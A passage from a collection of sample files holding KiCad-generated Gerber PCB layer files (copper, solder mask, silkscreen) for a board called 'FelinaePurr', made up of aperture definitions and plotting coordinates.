D01*\nX0030855Y0047662D01*\nX0030787Y0047519D01*\nX0030716Y0047377D01*\nX0030642Y0047237D01*\nX0030564Y0047100D01*\nX0030482Y0046964D01*\nX0030398Y0046830D01*\nX0030309Y0046699D01*\nX0030218Y0046570D01*\nX0030123Y0046443D01*\nX0030026Y0046318D01*\nX0029925Y0046196D01*\nX0029821Y0046077D01*\nX0029714Y0045960D01*\nX0029604Y0045846D01*\nX0029491Y0045735D01*\nX0029376Y0045626D01*\nX0029258Y0045521D01*\nX0029137Y0045419D01*\nX0029014Y0045319D01*\nX0028888Y0045223D01*\nX0028760Y0045130D01*\nX0028630Y0045040D01*\nX0028497Y0044954D01*\nX0028362Y0044870D01*\nX0028226Y0044791D01*\nX0028087Y0044714D01*\nX0027946Y0044642D01*\nX0027804Y0044572D01*\nX0027660Y0044507D01*\nX0027514Y0044445D01*\nX0027367Y0044387D01*\nX0027218Y0044332D01*\nX0027068Y0044281D01*\nX0026917Y0044234D01*\nX0026765Y0044191D01*\nX0026612Y0044152D01*\nX0026457Y0044116D01*\nX0026302Y0044085D01*\nX0026146Y0044057D01*\nX0025990Y0044033D01*\nX0025833Y0044013D01*\nX0025675Y0043997D01*\nX0025518Y0043985D01*\nX0025359Y0043977D01*\nX0025201Y0043973D01*\nX0025043Y0043973D01*\nX0024885Y0043977D01*\nX0024726Y0043985D01*\nX0024569Y0043997D01*\nX0024411Y0044013D01*\nX0024254Y0044033D01*\nX0024098Y0044057D01*\nX0023942Y0044085D01*\nX0023787Y0044116D01*\nX0023632Y0044152D01*\nX0023479Y0044191D01*\nX0023327Y0044234D01*\nX0023176Y0044281D01*\nX0023026Y0044332D01*\nX0022877Y0044387D01*\nX0022730Y0044445D01*\nX0022584Y0044507D01*\nX0022440Y0044572D01*\nX0022298Y0044642D01*\nX0022157Y0044714D01*\nX0022018Y0044791D01*\nX0021882Y0044870D01*\nX0021747Y0044954D01*\nX0021614Y0045040D01*\nX0021484Y0045130D01*\nX0021356Y0045223D01*\nX0021230Y0045319D01*\nX0021107Y0045419D01*\nX0020986Y0045521D01*\nX0020868Y0045626D01*\nX0020753Y0045735D01*\nX0020640Y0045846D01*\nX0020530Y0045960D01*\nX0020423Y0046077D01*\nX0020319Y0046196D01*\nX0020218Y0046318D01*\nX0020121Y0046443D01*\nX0020026Y0046570D01*\nX0019935Y0046699D01*\nX0019846Y0046830D01*\nX0019762Y0046964D01*\nX0019680Y0047100D01*\nX0019602Y0047237D01*\nX0019528Y0047377D01*\nX0019457Y0047519D01*\nX0019389Y0047662D01*\nX0019325Y0047807D01*\nX0019265Y0047953D01*\nX0019209Y0048101D01*\nX0019156Y0048250D01*\nX0019107Y0048401D01*\nX0019062Y0048553D01*\nX0019021Y0048706D01*\nX0018983Y0048859D01*\nX0018950Y0049014D01*\nX0018920Y0049170D01*\nX0018894Y0049326D01*\nX0018873Y0049483D01*\nX0018855Y0049640D01*\nX0018841Y0049798D01*\nX0018831Y0049956D01*\nX0018825Y0050114D01*\nX0018823Y0050272D01*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/FelinaePurr-B.Cu.gbl",
    "content": "G04 #@! TF.FileFunction,Copper,L2,Bot,Signal*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.150000*%\n%ADD11C,0.175000*%\n%ADD12R,1.727200X2.032000*%\n%ADD13O,1.727200X2.032000*%\n%ADD14R,2.032000X1.727200*%\n%ADD15O,2.032000X1.727200*%\n%ADD16C,1.300000*%\n%ADD17C,2.800000*%\n%ADD18C,0.685800*%\n%ADD19C,0.800000*%\n%ADD20C,0.400000*%\n%ADD21C,0.800000*%\n%ADD22C,0.300000*%\n%ADD23C,0.500000*%\n%ADD24C,0.180000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX162816666Y-95670833D02*\nX162883333Y-95637500D01*\nX163016666Y-95637500D01*\nX163083333Y-95670833D01*\nX163150000Y-95737500D01*\nX163183333Y-95804166D01*\nX163183333Y-95937500D01*\nX163150000Y-96004166D01*\nX163083333Y-96070833D01*\nX163016666Y-96104166D01*\nX162883333Y-96104166D01*\nX162816666Y-96070833D01*\nX162950000Y-95404166D02*\nX163116666Y-95437500D01*\nX163283333Y-95537500D01*\nX163383333Y-95704166D01*\nX163416666Y-95870833D01*\nX157450000Y-95870833D01*\nX157483333Y-95837500D01*\nX157550000Y-95804166D01*\nX156816666Y-95504166D02*\nX156950000Y-95504166D01*\nX157016666Y-95537500D01*\nX157050000Y-95570833D01*\nX157116666Y-95670833D01*\nX157150000Y-95804166D01*\nX157150000Y-96070833D01*\nX157116666Y-96137500D01*\nX157083333Y-96170833D01*\nX157016666Y-96204166D01*\nX156883333Y-96204166D01*\nX156816666Y-96170833D01*\nX156783333Y-96137500D01*\nX156750000Y-96070833D01*\nX156750000Y-95904166D01*\nX156783333Y-95837500D01*\nX156816666Y-95804166D01*\nX156883333Y-95770833D01*\nX157016666Y-95770833D01*\nX157083333Y-95804166D01*\nX157116666Y-95837500D01*\nX157150000Y-95904166D01*\nX156450000Y-95937500D02*\nX155916666Y-95937500D01*\nX155616666Y-96170833D02*\nX155516666Y-96204166D01*\nX155350000Y-96204166D01*\nX155283333Y-96170833D01*\nX155250000Y-96137500D01*\nX155216666Y-96070833D01*\nX155216666Y-96004166D01*\nX155250000Y-95937500D01*\nX155283333Y-95904166D01*\nX155350000Y-95870833D01*\nX155483333Y-95837500D01*\nX155550000Y-95804166D01*\nX155583333Y-95770833D01*\nX155616666Y-95704166D01*\nX155616666Y-95637500D01*\nX155583333Y-95570833D01*\nX155550000Y-95537500D01*\nX155483333Y-95504166D01*\nX155316666Y-95504166D01*\nX155216666Y-95537500D01*\nX155016666Y-95737500D02*\nX154750000Y-95737500D01*\nX154916666Y-95504166D02*\nX154916666Y-96104166D01*\nX154883333Y-96170833D01*\nX154816666Y-96204166D01*\nX154750000Y-96204166D01*\nX154216666Y-95737500D02*\nX154216666Y-96204166D01*\nX154516666Y-95737500D02*\nX154516666Y-96104166D01*\nX154483333Y-96170833D01*\nX154416666Y-96204166D01*\nX154316666Y-96204166D01*\nX154250000Y-96170833D01*\nX154216666Y-96137500D01*\nX153583333Y-96204166D02*\nX153583333Y-95504166D01*\nX153583333Y-96170833D02*\nX153650000Y-96204166D01*\nX153783333Y-96204166D01*\nX156883333Y-96795833D01*\nX156850000Y-96762500D01*\nX156883333Y-96729166D01*\nX156883333Y-96795833D01*\nX156450000Y-97429166D02*\nX156516666Y-97395833D01*\nX156550000Y-97329166D01*\nX156550000Y-96729166D01*\nX156183333Y-96962500D02*\nX155650000Y-97162500D01*\nX156183333Y-97362500D01*\nX154883333Y-96729166D02*\nX154483333Y-96729166D01*\nX154683333Y-97429166D02*\nX154683333Y-96729166D01*\nX154250000Y-97429166D02*\nX154250000Y-96962500D01*\nX154250000Y-97095833D02*\nX154216666Y-97029166D01*\nX154183333Y-96995833D01*\nX154116666Y-96962500D01*\nX154050000Y-96962500D01*\nX153516666Y-97429166D02*\nX153516666Y-97062500D01*\nX153550000Y-96995833D01*\nX153616666Y-96962500D01*\nX153750000Y-96962500D01*\nX153816666Y-96995833D01*\nX153516666Y-97395833D02*\nX153583333Y-97429166D01*\nX153750000Y-97429166D01*\nX153816666Y-97395833D01*\nX153850000Y-97329166D01*\nX153850000Y-97262500D01*\nX153816666Y-97195833D01*\nX153750000Y-97162500D01*\nX153583333Y-97162500D01*\nX153516666Y-97129166D01*\nX153183333Y-96962500D02*\nX153183333Y-97662500D01*\nX153183333Y-96995833D02*\nX153116666Y-96962500D01*\nX152983333Y-96962500D01*\nX152916666Y-96995833D01*\nX152883333Y-97029166D01*\nX152850000Y-97095833D01*\nX152850000Y-97295833D01*\nX152883333Y-97362500D01*\nX152916666Y-97395833D01*\nX152983333Y-97429166D01*\nX153116666Y-97429166D01*\nX153183333Y-97395833D01*\nX152550000Y-97429166D02*\nX152550000Y-96962500D01*\nX152550000Y-96729166D02*\nX152583333Y-96762500D01*\nX152550000Y-96795833D01*\nX152516666Y-96762500D01*\nX152550000Y-96729166D01*\nX152550000Y-96795833D01*\nX151950000Y-97395833D02*\nX152016666Y-97429166D01*\nX152150000Y-97429166D01*\nX152216666Y-97395833D01*\nX152250000Y-97329166D01*\nX152250000Y-97062500D01*\nX152216666Y-96995833D01*\nX152150000Y-96962500D01*\nX152016666Y-96962500D01*\nX151950000Y-96995833D01*\nX151916666Y-97062500D01*\nX151916666Y-97129166D01*\nX152250000Y-97195833D01*\nX151616666Y-97429166D02*\nX151616666Y-96962500D01*\nX151616666Y-97095833D02*\nX151583333Y-97029166D01*\nX151550000Y-96995833D01*\nX151483333Y-96962500D01*\nX151416666Y-96962500D01*\nD12*\nX175640000Y-81600000D03*\nD13*\nX173100000Y-81600000D03*\nX170560000Y-81600000D03*\nD14*\nX184000000Y-86460000D03*\nD15*\nX184000000Y-89000000D03*\nX184000000Y-91540000D03*\nD16*\nX152900000Y-88350000D03*\nX152900000Y-90350000D03*\nX152900000Y-92850000D03*\nX152900000Y-85850000D03*\nD17*\nX150800000Y-83500000D03*\nX150800000Y-95200000D03*\nD18*\nX173700000Y-89200000D03*\nX162300004Y-87000000D03*\nX159600000Y-82700000D03*\nX161700000Y-94600000D03*\nX176200000Y-96600000D03*\nX179600000Y-91700000D03*\nX158100000Y-83900000D03*\nX168600000Y-89399998D03*\nX167200000Y-85000000D03*\nX159600000Y-81100000D03*\nX163800000Y-81100000D03*\nD19*\nX159300000Y-87400000D03*\nX167300000Y-96600000D03*\nX167300000Y-94500000D03*\nX160900000Y-87400000D03*\nD18*\nX174900000Y-90299999D03*\nX174900000Y-85300000D03*\nD19*\nX166500002Y-90900000D03*\nX177200000Y-90200000D03*\nX168000000Y-87400000D03*\nX173800000Y-87400000D03*\nD18*\nX154500000Y-89792900D03*\nX154500000Y-88907100D03*\nD20*\nX167200000Y-87999998D02*\nX168257101Y-89057099D01*\nX167200000Y-85000000D02*\nX167200000Y-87999998D01*\nX168257101Y-89057099D02*\nX168600000Y-89399998D01*\nD21*\nX163800000Y-81100000D02*\nX159600000Y-81100000D01*\nD22*\nX159300000Y-87965685D02*\nX159300000Y-87400000D01*\nX159300000Y-88600000D02*\nX159300000Y-87965685D01*\nX167300000Y-96600000D02*\nX159300000Y-88600000D01*\nX167300000Y-94500000D02*\nX160900000Y-88100000D01*\nX160900000Y-88100000D02*\nX160900000Y-87400000D01*\nD23*\nX174900000Y-85300000D02*\nX174900000Y-90299999D01*\nD22*\nX177200000Y-90200000D02*\nX175300000Y-92100000D01*\nX175300000Y-92100000D02*\nX167700002Y-92100000D01*\nX167700002Y-92100000D02*\nX166500002Y-90900000D01*\nX173800000Y-87400000D02*\nX168000000Y-87400000D01*\nX154500000Y-88907100D02*\nX154342900Y-88907100D01*\nX154342900Y-88907100D02*\nX152900000Y-90350000D01*\nD24*\nG36*\nX159316814Y-80416329D02*\nX159076741Y-80576741D01*\nX158916329Y-80816814D01*\nX158860000Y-81100000D01*\nX158916329Y-81383186D01*\nX159076741Y-81623259D01*\nX159316814Y-81783671D01*\nX159600000Y-81840000D01*\nX163800000Y-81840000D01*\nX164083186Y-81783671D01*\nX176823872Y-82748661D01*\nX176850260Y-82616000D01*\nX176850260Y-82265373D01*\nX151860838Y-81760869D01*\nX151114549Y-81487287D01*\nX150320374Y-81520123D01*\nX149739162Y-81760869D01*\nX149586248Y-82054317D01*\nX148415000Y-82054317D01*\nX148415000Y-81040874D01*\nX148467041Y-80779242D01*\nX148592092Y-80592091D01*\nX148779241Y-80467042D01*\nX149040874Y-80415000D01*\nX159323495Y-80415000D01*\nX159316814Y-80416329D01*\nX159316814Y-80416329D01*\nG37*\nX159316814Y-80416329D02*\nX159076741Y-80576741D01*\nX158916329Y-80816814D01*\nX158860000Y-81100000D01*\nX158916329Y-81383186D01*\nX159076741Y-81623259D01*\nX159323495Y-80415000D01*\nX159316814Y-80416329D01*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/FelinaePurr-B.Mask.gbs",
    "content": "G04 #@! TF.FileFunction,Soldermask,Bot*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.150000*%\n%ADD11R,1.727200X2.032000*%\n%ADD12O,1.727200X2.032000*%\n%ADD13R,2.032000X1.727200*%\n%ADD14O,2.032000X1.727200*%\n%ADD15C,1.300000*%\n%ADD16C,2.800000*%\n%ADD17C,1.200000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX175640000Y-81600000D03*\nD12*\nX173100000Y-81600000D03*\nX170560000Y-81600000D03*\nD13*\nX184000000Y-86460000D03*\nD14*\nX184000000Y-89000000D03*\nX184000000Y-91540000D03*\nD15*\nX152900000Y-88350000D03*\nX152900000Y-90350000D03*\nX152900000Y-92850000D03*\nX152900000Y-85850000D03*\nD16*\nX150800000Y-83500000D03*\nX150800000Y-95200000D03*\nD17*\nX150800000Y-87100000D03*\nX150800000Y-91600000D03*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/FelinaePurr-B.SilkS.gbo",
    "content": "G04 #@! TF.FileFunction,Legend,Bot*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.150000*%\n%ADD11C,0.175000*%\n%ADD12C,0.375000*%\n%ADD13C,0.254000*%\n%ADD14R,1.727200X2.032000*%\n%ADD15O,1.727200X2.032000*%\n%ADD16R,2.032000X1.727200*%\n%ADD17O,2.032000X1.727200*%\n%ADD18C,1.300000*%\n%ADD19C,2.800000*%\n%ADD20C,1.200000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX164233333Y-82450000D02*\nX164133333Y-82483333D01*\nX164100000Y-82516666D01*\nX164066666Y-82583333D01*\nX164066666Y-82683333D01*\nX164100000Y-82750000D01*\nX164133333Y-82783333D01*\nX164200000Y-82816666D01*\nX164466666Y-82816666D01*\nX164466666Y-82116666D01*\nX164233333Y-82116666D01*\nX164166666Y-82150000D01*\nX164133333Y-82183333D01*\nX164100000Y-82250000D01*\nX164100000Y-82316666D01*\nX164133333Y-82383333D01*\nX164166666Y-82416666D01*\nX164233333Y-82450000D01*\nX164466666Y-82450000D01*\nX163666666Y-82816666D02*\nX163733333Y-82783333D01*\nX163766666Y-82750000D01*\nX163800000Y-82683333D01*\nX163800000Y-82483333D01*\nX163766666Y-82416666D01*\nX163733333Y-82383333D01*\nX163666666Y-82350000D01*\nX163566666Y-82350000D01*\nX163500000Y-82383333D01*\nX163466666Y-82416666D01*\nX163433333Y-82483333D01*\nX163433333Y-82683333D01*\nX163466666Y-82750000D01*\nX163500000Y-82783333D01*\nX163566666Y-82816666D01*\nX163666666Y-82816666D01*\nX162833333Y-82816666D02*\nX162833333Y-82450000D01*\nX162866666Y-82383333D01*\nX162933333Y-82350000D01*\nX163066666Y-82350000D01*\nX163133333Y-82383333D01*\nX162833333Y-82783333D02*\nX162900000Y-82816666D01*\nX163066666Y-82816666D01*\nX163133333Y-82783333D01*\nX163166666Y-82716666D01*\nX163166666Y-82650000D01*\nX163133333Y-82583333D01*\nX163066666Y-82550000D01*\nX162900000Y-82550000D01*\nX162833333Y-82516666D01*\nX162500000Y-82816666D02*\nX162500000Y-82350000D01*\nX162500000Y-82483333D02*\nX162466666Y-82416666D01*\nX162433333Y-82383333D01*\nX162366666Y-82350000D01*\nX162300000Y-82350000D01*\nX161766666Y-82816666D02*\nX161766666Y-82116666D01*\nX161766666Y-82783333D02*\nX161833333Y-82816666D01*\nX161966666Y-82816666D01*\nX162033333Y-82783333D01*\nX162066666Y-82750000D01*\nX162100000Y-82683333D01*\nX162100000Y-82483333D01*\nX162066666Y-82416666D01*\nX162033333Y-82383333D01*\nX161966666Y-82350000D01*\nX161833333Y-82350000D01*\nX161766666Y-82383333D01*\nX160933333Y-82350000D02*\nX160433333Y-82350000D01*\nX160733333Y-82050000D02*\nX160933333Y-82950000D01*\nX160500000Y-82650000D02*\nX161000000Y-82650000D01*\nX160700000Y-82950000D02*\nX160500000Y-82050000D01*\nD12*\nX181899107Y-86482142D02*\nX180756250Y-86482142D01*\nX181327678Y-87053571D02*\nX181327678Y-85910714D01*\nX179327678Y-85553571D02*\nX180041964Y-85553571D01*\nX180113392Y-86267857D01*\nX180041964Y-86196428D01*\nX179899107Y-86125000D01*\nX179541964Y-86125000D01*\nX179399107Y-86196428D01*\nX179327678Y-86267857D01*\nX179256250Y-86410714D01*\nX179256250Y-86767857D01*\nX179327678Y-86910714D01*\nX179399107Y-86982142D01*\nX179541964Y-87053571D01*\nX179899107Y-87053571D01*\nX180041964Y-86982142D01*\nX180113392Y-86910714D01*\nX178827678Y-85553571D02*\nX178327678Y-87053571D01*\nX177827678Y-85553571D01*\nX176184821Y-87053571D02*\nX176184821Y-85553571D01*\nX175827678Y-85553571D01*\nX175613392Y-85625000D01*\nX175470535Y-85767857D01*\nX175399107Y-85910714D01*\nX175327678Y-86196428D01*\nX175327678Y-86410714D01*\nX175399107Y-86696428D01*\nX175470535Y-86839285D01*\nX175613392Y-86982142D01*\nX175827678Y-87053571D01*\nX176184821Y-87053571D01*\nX174684821Y-86267857D02*\nX174184821Y-86267857D01*\nX173970535Y-87053571D02*\nX174684821Y-87053571D01*\nX174684821Y-85553571D01*\nX173970535Y-85553571D01*\nX173541964Y-85553571D02*\nX173041964Y-87053571D01*\nX172541964Y-85553571D01*\nX181041964Y-89678571D02*\nX181541964Y-88964285D01*\nX181899107Y-89678571D02*\nX181899107Y-88178571D01*\nX181327678Y-88178571D01*\nX181184821Y-88250000D01*\nX181113392Y-88321428D01*\nX181041964Y-88464285D01*\nX181041964Y-88678571D01*\nX181113392Y-88821428D01*\nX181184821Y-88892857D01*\nX181327678Y-88964285D01*\nX181899107Y-88964285D01*\nX180541964Y-88178571D02*\nX179541964Y-89678571D01*\nX179541964Y-88178571D02*\nX180541964Y-89678571D01*\nX179184821Y-88178571D02*\nX178327678Y-88178571D01*\nX178756250Y-89678571D02*\nX178756250Y-88178571D01*\nX177970535Y-88178571D02*\nX176970535Y-89678571D01*\nX176970535Y-88178571D02*\nX177970535Y-89678571D01*\nX181113392Y-90875000D02*\nX181256250Y-90803571D01*\nX181470535Y-90803571D01*\nX181684821Y-90875000D01*\nX181827678Y-91017857D01*\nX181899107Y-91160714D01*\nX181970535Y-91446428D01*\nX181970535Y-91660714D01*\nX181899107Y-91946428D01*\nX181827678Y-92089285D01*\nX181684821Y-92232142D01*\nX181470535Y-92303571D01*\nX181327678Y-92303571D01*\nX181113392Y-92232142D01*\nX181041964Y-92160714D01*\nX181041964Y-91660714D01*\nX181327678Y-91660714D01*\nX180399107Y-92303571D02*\nX180399107Y-90803571D01*\nX179541964Y-92303571D01*\nX179541964Y-90803571D01*\nX178827678Y-92303571D02*\nX178827678Y-90803571D01*\nX178470535Y-90803571D01*\nX178256250Y-90875000D01*\nX178113392Y-91017857D01*\nX178041964Y-91160714D01*\nX177970535Y-91446428D01*\nX177970535Y-91660714D01*\nX178041964Y-91946428D01*\nX178113392Y-92089285D01*\nX178256250Y-92232142D01*\nX178470535Y-92303571D01*\nX178827678Y-92303571D01*\nD13*\nG36*\nX164873000Y-87373000D02*\nX154627000Y-87373000D01*\nX154627000Y-83127000D01*\nX164873000Y-83127000D01*\nX164873000Y-87373000D01*\nX164873000Y-87373000D01*\nG37*\nX164873000Y-87373000D02*\nX154627000Y-87373000D01*\nX154627000Y-83127000D01*\nX164873000Y-83127000D01*\nX164873000Y-87373000D01*\n%LPC*%\nD14*\nX175640000Y-81600000D03*\nD15*\nX173100000Y-81600000D03*\nX170560000Y-81600000D03*\nD16*\nX184000000Y-86460000D03*\nD17*\nX184000000Y-89000000D03*\nX184000000Y-91540000D03*\nD18*\nX152900000Y-88350000D03*\nX152900000Y-90350000D03*\nX152900000Y-92850000D03*\nX152900000Y-85850000D03*\nD19*\nX150800000Y-83500000D03*\nX150800000Y-95200000D03*\nD20*\nX150800000Y-87100000D03*\nX150800000Y-91600000D03*\nM02*\n"
  },
  {
    "path": "samples/Gerber Image/FelinaePurr-F.Cu.gtl",
    "content": "G04 #@! TF.FileFunction,Copper,L1,Top,Signal*\n%FSLAX46Y46*%\nG04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*\nG04 Created by KiCad (PCBNEW (2016-07-14 BZR 6980)-product) date Sunday, 23 April 2017 'PMt' 23:49:01*\n%MOMM*%\n%LPD*%\nG01*\nG04 APERTURE LIST*\n%ADD10C,0.150000*%\n%ADD11R,0.800000X0.750000*%\n%ADD12R,0.750000X0.800000*%\n%ADD13R,1.198880X1.198880*%\n%ADD14R,1.727200X2.032000*%\n%ADD15O,1.727200X2.032000*%\n%ADD16R,0.500000X0.900000*%\n%ADD17R,0.450000X1.750000*%\n%ADD18R,1.060000X0.650000*%\n%ADD19R,2.032000X1.727200*%\n%ADD20O,2.032000X1.727200*%\n%ADD21R,0.900000X0.500000*%\n%ADD22C,1.300000*%\n%ADD23C,2.800000*%\n%ADD24C,0.685800*%\n%ADD25C,0.800000*%\n%ADD26C,0.500000*%\n%ADD27C,0.300000*%\n%ADD28C,0.400000*%\n%ADD29C,0.800000*%\n%ADD30C,0.250000*%\n%ADD31C,0.180000*%\n%ADD32C,0.160000*%\nG04 APERTURE END LIST*\nD10*\nD11*\nX165350000Y-82700000D03*\nX163850000Y-82700000D03*\nX162350000Y-82700000D03*\nX160850000Y-82700000D03*\nD12*\nX172700000Y-87350000D03*\nX172700000Y-88850000D03*\nD11*\nX181100000Y-90600000D03*\nX179600000Y-90600000D03*\nD13*\nX168800000Y-94500000D03*\nX168800000Y-96598040D03*\nX170800000Y-94500000D03*\nX170800000Y-96598040D03*\nX172800000Y-94500000D03*\nX172800000Y-96598040D03*\nD14*\nX175640000Y-81600000D03*\nD15*\nX173100000Y-81600000D03*\nX170560000Y-81600000D03*\nD16*\nX181100000Y-89000000D03*\nX179600000Y-89000000D03*\nX179600000Y-87300000D03*\nX181100000Y-87300000D03*\nD17*\nX156775000Y-92600000D03*\nX157425000Y-92600000D03*\nX158075000Y-92600000D03*\nX158725000Y-92600000D03*\nX159375000Y-92600000D03*\nX160025000Y-92600000D03*\nX160675000Y-92600000D03*\nX161325000Y-92600000D03*\nX161975000Y-92600000D03*\nX162625000Y-92600000D03*\nX163275000Y-92600000D03*\nX163925000Y-92600000D03*\nX164575000Y-92600000D03*\nX165225000Y-92600000D03*\nX165225000Y-85400000D03*\nX164575000Y-85400000D03*\nX163925000Y-85400000D03*\nX163275000Y-85400000D03*\nX162625000Y-85400000D03*\nX161975000Y-85400000D03*\nX161325000Y-85400000D03*\nX160675000Y-85400000D03*\nX160025000Y-85400000D03*\nX159375000Y-85400000D03*\nX158725000Y-85400000D03*\nX158075000Y-85400000D03*\nX157425000Y-85400000D03*\nX156775000Y-85400000D03*\nD18*\nX175000000Y-87150000D03*\nX175000000Y-88100000D03*\nX175000000Y-89050000D03*\nX177200000Y-89050000D03*\nX177200000Y-87150000D03*\nD19*\nX184000000Y-86460000D03*\nD20*\nX184000000Y-89000000D03*\nX184000000Y-91540000D03*\nD13*\nX174900000Y-94501960D03*\nX174900000Y-96600000D03*\nD11*\nX159000000Y-94600000D03*\nX160500000Y-94600000D03*\nX162350000Y-81100000D03*\nX160850000Y-81100000D03*\nD21*\nX171150000Y-88600000D03*\nX171150000Y-90100000D03*\nX169550000Y-88600000D03*\nX169550000Y-90100000D03*\nX168800000Y-91300000D03*\nX168800000Y-92800000D03*\nX170800000Y-91300000D03*\nX170800000Y-92800000D03*\nX172800000Y-91300000D03*\nX172800000Y-92800000D03*\nX174900000Y-91300000D03*\nX174900000Y-92800000D03*\nX176600000Y-91300000D03*\nX176600000Y-92800000D03*\nD22*\nX152900000Y-88350000D03*\nX152900000Y-90350000D03*\nX152900000Y-92850000D03*\nX152900000Y-85850000D03*\nD23*\nX150800000Y-83500000D03*\nX150800000Y-95200000D03*\nD24*\nX173700000Y-89200000D03*\nX162300004Y-87000000D03*\nX159600000Y-82700000D03*\nX161700000Y-94600000D03*\nX176200000Y-96600000D03*\nX179600000Y-91700000D03*\nX158100000Y-83900000D03*\nX168600000Y-89399998D03*\nX167200000Y-85000000D03*\nX159600000Y-81100000D03*\nX163800000Y-81100000D03*\nD25*\nX159300000Y-87400000D03*\nX167300000Y-96600000D03*\nX167300000Y-94500000D03*\nX160900000Y-87400000D03*\nD24*\nX174900000Y-90299999D03*\nX174900000Y-85300000D03*\nD25*\nX166500002Y-90900000D03*\nX177200000Y-90200000D03*\nX168000000Y-87400000D03*\nX173800000Y-87400000D03*\nD24*\nX154500000Y-89792900D03*\nX154500000Y-88907100D03*\nD26*\nX165325000Y-82700000D02*\nX165325000Y-83475000D01*\nX165325000Y-83475000D02*\nX164900000Y-83900000D01*\nX164900000Y-83900000D02*\nX164250677Y-83900000D01*\nX163947598Y-84375049D02*\nX163927410Y-84395237D01*\nX164250677Y-83900000D02*\nX163947598Y-84203079D01*\nX163947598Y-84203079D02*\nX163947598Y-84375049D01*\nX163927410Y-84395237D02*\nX163927410Y-85400000D01*\nD27*\nX165325000Y-82700000D02*\nX165325000Y-82826415D01*\nD26*\nX165350000Y-82700000D02*\nX165325000Y-82700000D01*\nX172700000Y-88850000D02*\nX173350000Y-88850000D01*\nX173350000Y-88850000D02*\nX173700000Y-89200000D01*\nX175000000Y-89050000D02*\nX173850000Y-89050000D01*\nX173850000Y-89050000D02*\nX173700000Y-89200000D01*\nX175000000Y-88100000D02*\nX175000000Y-89050000D01*\nX163850000Y-82700000D02*\nX163850000Y-83378030D01*\nX163850000Y-83378030D02*\nX163295188Y-83932842D01*\nX163275000Y-84125000D02*\nX163295188Y-84104812D01*\nX163295188Y-84104812D02*\nX163295188Y-83932842D01*\nX163275000Y-85400000D02*\nX163275000Y-84125000D01*\nX160850000Y-82700000D02*\nX160850000Y-83575000D01*\nX160850000Y-83575000D02*\nX160875000Y-83600000D01*\nX160875000Y-83600000D02*\nX160900000Y-83600000D01*\nX161325000Y-85400000D02*\nX161325000Y-84025000D01*\nX161325000Y-84025000D02*\nX160900000Y-83600000D01*\nX160675000Y-92600000D02*\nX160675000Y-93800000D01*\nX160500000Y-94600000D02*\nX160500000Y-93975000D01*\nX160500000Y-93975000D02*\nX160675000Y-93800000D01*\nX163275000Y-85400000D02*\nX163275000Y-86509937D01*\nX163275000Y-86509937D02*\nX162784937Y-87000000D01*\nX162784937Y-87000000D02*\nX162300004Y-87000000D01*\nX161325000Y-86509929D02*\nX161815071Y-87000000D01*\nX161325000Y-85400000D02*\nX161325000Y-86509929D01*\nX161815071Y-87000000D02*\nX162300004Y-87000000D01*\nX159700000Y-82700000D02*\nX159600000Y-82700000D01*\nX160850000Y-82700000D02*\nX159700000Y-82700000D01*\nX160850000Y-82700000D02*\nX160850000Y-81100000D01*\nX160500000Y-94600000D02*\nX161700000Y-94600000D01*\nX158075000Y-85400000D02*\nX158075000Y-83925000D01*\nX158075000Y-83925000D02*\nX158100000Y-83900000D01*\nX158075000Y-85400000D02*\nX158725000Y-85400000D01*\nX179600000Y-90600000D02*\nX179600000Y-91700000D01*\nX174900000Y-96600000D02*\nX176200000Y-96600000D01*\nX172800000Y-96598040D02*\nX174898040Y-96598040D01*\nX174898040Y-96598040D02*\nX174900000Y-96600000D01*\nX169250000Y-85000000D02*\nX170560000Y-83690000D01*\nX170560000Y-83690000D02*\nX170560000Y-81600000D01*\nX167200000Y-85000000D02*\nX169250000Y-85000000D01*\nX168600000Y-90500000D02*\nX168600000Y-89399998D01*\nX168800000Y-91300000D02*\nX168800000Y-90700000D01*\nX168800000Y-90700000D02*\nX168600000Y-90500000D01*\nD28*\nX170500000Y-88600000D02*\nX171150000Y-88600000D01*\nD26*\nX169550000Y-88600000D02*\nX170500000Y-88600000D01*\nX168600000Y-89399998D02*\nX168750002Y-89399998D01*\nX168750002Y-89399998D02*\nX169550000Y-88600000D01*\nX162350000Y-82700000D02*\nX162350000Y-83575000D01*\nX162350000Y-83575000D02*\nX161977410Y-83947590D01*\nX161977410Y-83947590D02*\nX161977410Y-85400000D01*\nD29*\nX162350000Y-81100000D02*\nX163800000Y-81100000D01*\nD30*\nX174222599Y-89677401D02*\nX175726921Y-89677401D01*\nX175726921Y-89677401D02*\nX176250000Y-89154322D01*\nX176250000Y-89154322D02*\nX176250000Y-88675000D01*\nX176250000Y-88675000D02*\nX177200000Y-87725000D01*\nX177200000Y-87725000D02*\nX177200000Y-87150000D01*\nD26*\nX177200000Y-87150000D02*\nX179450000Y-87150000D01*\nX179450000Y-87150000D02*\nX179600000Y-87300000D01*\nX159000000Y-94600000D02*\nX159000000Y-94000000D01*\nX159000000Y-94000000D02*\nX158725000Y-93725000D01*\nX158725000Y-93725000D02*\nX158725000Y-92600000D01*\nD28*\nX174222599Y-89677401D02*\nX173800000Y-90100000D01*\nX159600000Y-96600000D02*\nX159000000Y-96000000D01*\nD27*\nX181100000Y-87300000D02*\nX181100000Y-89000000D01*\nX181100000Y-90600000D02*\nX181100000Y-89000000D01*\nX181100000Y-89000000D02*\nX18400